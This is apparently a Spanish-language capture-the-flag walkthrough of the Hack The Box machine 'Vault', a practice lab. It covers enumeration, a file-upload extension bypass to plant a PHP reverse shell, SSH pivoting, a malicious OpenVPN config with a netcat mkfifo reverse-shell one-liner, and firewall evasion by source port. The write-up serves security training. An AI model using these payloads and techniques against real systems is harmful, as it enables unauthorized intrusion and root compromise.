En este post voy a vulnerar la máquina Vault de Hack The Box. Es una máquina Linux de nivel intermedio en la que es necesario pivotar entre varias máquinas internas, lo que la convierte en una máquina fundamental para la actual versión de OSCP.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 5000 10.10.10.109

En la máquina hay dos puertos abiertos. Escaneo los cuatro que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80 -sC -sV 10.10.10.109 Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-27 16:31 CET Nmap scan report for 10.10.10.109 Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) | 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) |_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.99 seconds

Con el servicio SSH poco puedo hacer así que entro al servicio web del puerto 80 desde el navegador y encuentro una página en la que solo hay un par de líneas de texto.

En el mensaje pone que su primer cliente se llama Sparklays y que Sparklays.com está en construcción.
Entrar en el dominio no me iba a aportar nada así que supuse que podría existir un directorio llamado sparklays. Entro en la ruta http://10.10.10.109/sparklays/ y compruebo que efectivamente existe pero me devuelve un estado de código 403 (Forbidden).

Sabiendo que existe un directorio oculto, pueden existir mas, así que hago un fuzzing con gobuster pero no encuentro ningún directorio relevante. Vuelvo a hacer un fuzzing de directorios (buscando ficheros html, php y txt) dentro de del directorio /sparklays y encuentro tres rutas.
gobuster dir -u http://10.10.10.109/sparklays/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 200 -x html,php,txt

Accedo a las tres rutas:
- login.php
Aquí me aparece un mensaje de acces denied pero es llamativo que no lo devuelve con un código de estado. Inspecciono el código fuente y veo que en realidad es un texto escrito así que supongo que se trata de un rabbith hole.

- admin.php
Aquí me encuentro con una ventana de autenticación. Después de probar varias credenciales estándar no consigo autenticarme y no encuentro información en el código fuente de la web así que decido dejarlo como está y saltar a otra ruta.

- /desing/
Accedo a esta ruta y, nuevamente, me devuelve un código de estado 403 (Forbidden).

Vuelvo a hacer un fuzzing de directorios (buscando ficheros html, php y txt) dentro de esta ruta y encuentro dos nuevas rutas.
gobuster dir -u http://10.10.10.109/sparklays/design/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -t 100 -x html,php,txt

Accedo a las dos rutas, comenzando por el directorio /uploads/ y me devuelve un código de estado 403 (Forbidden).

Finalmente, en la ruta http://10.10.10.109/sparklays/desing/desing.html encuentro algo interesante.

Hago click en el enlace Change Logo y me lleva a una página donde me permite subir ficheros.

Explotación
Como la web tiene habilitado php, supongo que puedo obtener una shell reversa a través de php. Cojo el script de pentestmonkey para una shell reversa en php (aquí), que también va por defecto en kali, y le pongo mi IP y un puerto de escucha.

Subo el script en la web pero me aparece un mensaje indicando que la extensión no está permitida.

Seguramente haya una lista negra de extensiones… Para saber que extensiones me permite cargar, creo un diccionario con las extensiones mas comunes.

Capturo la petición POST de subida del fichero con Burp Suite .

Voy a realizar un ataque de tipo Sniper para ver que extensiones están permitidas.
Envío la petición al intruder de Burp, selecciono el tipo de ataque Sniper y hago add $ en la extensión del fichero cargado.

Cargo el diccionario que he generado en Payload Options y pulso en Start attack.

Una vez terminado, ordeno por longitud y selecciono la longitud diferente a las demás. Como veo, se permite la extensión php5.

Modifico la extensión del fichero de shell reversa a php5 y lo vuelvo a subir.


Lanzo un curl para abrir/ejecutar el fichero y consigo una shell reversa.
curl -s http://10.10.10.109/sparklays/design/uploads/rshell.php5


Esta shell requiere un tratamiento de la tty. Al final del post indico los comandos para hacerlo manualmente pero yo he utilizado mi script (que se puede encontrar en mi github) para hacerlo de forma automática.
En la máquina hay dos directorios de usuario. El directorio alex y el directorio dave.

Dentro del /home del usuario dave encuentro los típicos directorios de windows. Si accedo al directorio /Desktop encuentro tres ficheros que me llaman mucho la atención.

Abro los tres ficheros y encuentro diferente información en cada uno de ellos.
- Servers
Dentro hay varias IPs con diferentes nombres.
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x
- key
Aquí encuentro una frase.
itscominghome
- ssh
Encuentro lo que parecen ser las credenciales dave:Dav3therav3123.
dave
Dav3therav3123

Con toda esta información, no puedo evitar pensar en una red interna y que debo tener conexión con alguna de las IPs indicadas en el fichero Servers.
Utilizo las credenciales que he encontrado para conectarme a la máquina actual.
sshpass -p 'Dav3therav3123' ssh dave@10.10.10.109

Compruebo las interfaces de red y veo que, la interfaz virbr0 me da la IP 192.168.122.1 por lo que estoy en la misma subred que las otras IPs que he encontrado así que debería poder verlas.

Me desplazo al directorio /tmp, subo un binario de nmap, le doy permisos de ejecución y lanzo un escaneo del tipo TCP Scan a toda la subred 192.168.122.0/24.
chmod +x nmap ll nmap ./nmap -sT 192.168.122.0/24

Este escaneo me muestra los tres hosts que ya conocía. En la máquina 192.168.122.4 encuentro un servicio ssh y otros http y en la máquina 192.168.122.5 no encuentro ningún puerto abierto (dentro de los 1000 puertos mas comunes).
Pivoting
Para poder tener acceso a esta la máquina 192.168.122.4 desde mi máquina atacante voy a tener que hacer un pivoting entre las máquinas. También podría crear un Port Forwarding para el puerto 80 pero eso ya lo hice en la máquina Buff… además, prefiero hacer un pivoting por si necesito usar alguna herramienta desde mi máquina atacante.
Creo una regla en Foxy Proxy, al que llamaré Pivoting, con un porxy del tipo SOCKS5, con la IP del proxy en mi localhost y por el puerto 9988.

Una vez hecho, me dirijo al fichero /etc/proxychains.conf y, en el ProxyList, comento la opción socks4 y añado socks5 127.0.0.1.

Una vez he terminado de configurarlo, establezco un pivoting por ssh en modo dinámico.
ssh -D 127.0.0.1:9988 dave@10.10.10.109

Ahora ya tengo acceso a la máquina 192.168.122.4 desde mi consola. Accedo al servicio web desde el navegador y encuentro un mensaje, que me indica que estoy en un servidor DNS con dos enlaces.

Accedo al segundo enlace, que me lleva a la ruta http://192.168.122.4/vpnconfig.php, y veo que me permite subir configuraciones de OpenVPN y establecer mi propia vpn.

Busco un poco de información y llego a este post de hackplayers donde me dice como conseguir una shell reversa con openvpn.
Por temas de redes, la shell reversa la obtendría en la máquina ubuntu (192.168.122.1) pero, como ya he accedido a ella, eso no es un problema. Pongo un netcat a la escucha por el puerto 7898 y cargo el código, consiguiendo una shell revesa como root.
remote 192.168.122.1
dev tun
nobind
script-security 2
up "/bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.122.1 7898 >/tmp/f'"


En esta máquina, con el hostname DNS, existen los mismos usuarios que en la máquina ubuntu.
cat /etc/passwd | grep '/bin/bash ls -l

Accedo al directorio del usuario dave y encuentro la flag de usuario.

Escalada de Privilegios
Dentro del usuario dave encuentro un fichero llamado ssh. Al leer el fichero, encuentro unas nuevas credenciales. dave:dav3gerous567.

Siguiendo el ejemplo anterior, voy a suponer que estas credenciales son para el usuario dave de la máquina 192.168.122.4 y me conecto con ellas por ssh.
ssh dave@192.168.122.4

Ejecuto un sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar y encuentro que puedo ejecutar cualquier comando como sudo, así que me autentico como usuario root.

Enumero el contenido oculto del /home de dave y encuentro el fichero .bash_history. Abro el fichero y, por la mitad, encuentro que hay un comando a la IP 192.168.5.2.


Compruebo los enrutamientos y los registros para ver si esa IP aparece por algún lado.
route ping -c 1 192.168.122.5 grep -r "192.168.5.2" /var/log


Como se ve en la imagen anterior, encuentro esta IP en el fichero /var/log/auth.log matches.
Abro el fichero, filtrando de modo que solo aparezcan las coincidencias con esta IP.
cat /var/log/auth.log | grep -aH '192.168.5.2'

De este fichero, me voy a quedar con las tres últimas entradas.
(standard input):Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f
(standard input):Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53
(standard input):Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53
El primer comando parece un escaneo básico a la máquina 192.168.5.2 pero llama la atención que lo realiza desde el puerto 4444. Los otros dos comandos me indican como ejecutar un netcat desde un puerto efímero concreto (1234 y 3333) al puerto 987 de la máquina 192.168.5.2, tomando como puerto de desvío el 53.
Voy a probar a escanear la máquina 192.168.5.2 desde diversos puertos.
nmap 192.168.5.2 -Pn --source-port=4444 -f nmap 192.168.5.2 -Pn --source-port=53 -f nmap 192.168.5.2 -Pn -f


Como se ve en las imágenes anteriores, si realizo el escaneo desde el puerto 4444 o 53 obtengo que el puerto 978 está abierto pero si lo hago desde un puerto cualquiera obtengo un resultado diferente. Esto puede deberse a reglas del firewall o IPtables de la máquina pero ahora mismo eso no me importa.
Lanzo un netcat al puerto 987 de la máquina 192.168.5.2 desde el puerto 53 para ver que servicio está corriendo y encuentro que es un OpenSSH 7.2p2.
nc -p 53 192.168.5.2 987

Utilizando los comandos anteriores, lanzo un netcat para obtener una conexión ssh con la máquina 192.168.5.2, utilizando el puerto efímero 1234 y tomando como puerto de origen el 4444.
ncat -l 1234 --sh-exec "ncat -p 4488 192.168.5.2 987 --source-port=4444" & ssh dave@localhost -p 1234

Me dirijo al directorio raíz del usuario dave y encuentro la flag de root, pero está cifrado por gpg.

Para abrir este tipo de ficheros necesito una clave y, tras un momento pensando, recuerdo que en la máquina ubuntu había un fichero con el nombre key. Para llevarme fácilmente el fichero a la máquina ubuntu lo codifico en base32.
base32 -w 0 root.txt.gpg

Y lo descodifico en la máquina ubuntu.
echo QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY= | base32 -d > root.txt.gpg

Abro el fichero utilizando la key itscominghome y consigo la flag de root.
gpg -d root.txt.gpg

tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
